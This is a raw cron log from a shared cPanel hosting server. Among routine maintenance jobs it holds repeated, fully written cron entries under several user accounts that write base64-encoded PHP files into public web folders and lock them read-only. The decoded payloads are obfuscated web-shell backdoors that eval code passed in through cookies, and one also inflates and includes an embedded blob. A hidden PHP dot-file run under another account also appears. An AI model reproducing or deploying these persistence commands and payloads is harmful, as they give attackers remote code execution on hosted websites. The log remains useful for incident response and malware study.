--decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:20:01 medusa CROND[9581]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 03:20:01 medusa CROND[9718]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 03:20:01 medusa CROND[9719]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 03:20:01 medusa CROND[9720]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 03:20:01 medusa CROND[9721]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:20:01 medusa CROND[9723]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 03:20:01 medusa CROND[9726]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:20:01 medusa CROND[9728]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:20:01 medusa CROND[9727]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 03:20:01 medusa CROND[9733]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 03:20:01 medusa CROND[9734]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:20:01 medusa CROND[9739]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 03:20:01 medusa CROND[9732]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:20:01 medusa CROND[9743]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 03:20:01 medusa CROND[9746]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:20:01 medusa CROND[9750]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:20:01 medusa CROND[9752]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:20:01 medusa CROND[9753]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:20:01 medusa CROND[9747]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 03:20:01 medusa CROND[9754]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:20:01 medusa CROND[9760]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:20:01 medusa CROND[9745]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 03:20:01 medusa CROND[9731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:20:01 medusa CROND[9763]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 03:20:01 medusa CROND[9756]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 03:20:01 medusa CROND[9751]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 03:20:01 medusa CROND[9764]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 03:20:01 medusa CROND[9766]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 03:20:01 medusa CROND[9748]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 03:20:01 medusa CROND[9749]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 03:21:01 medusa CROND[15650]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 03:21:01 medusa CROND[15652]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:21:01 medusa CROND[15651]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:21:01 medusa CROND[15657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:21:01 medusa CROND[15658]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:21:01 medusa CROND[15659]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_maintenance)
Mar  2 03:21:01 medusa CROND[15660]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:21:01 medusa CROND[15663]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:21:01 medusa CROND[15665]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:21:01 medusa CROND[15668]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 03:21:01 medusa CROND[15667]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:21:01 medusa CROND[15672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:21:01 medusa CROND[15670]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:21:01 medusa CROND[15673]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:21:01 medusa CROND[15661]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 03:22:02 medusa CROND[21692]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:22:02 medusa CROND[21747]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
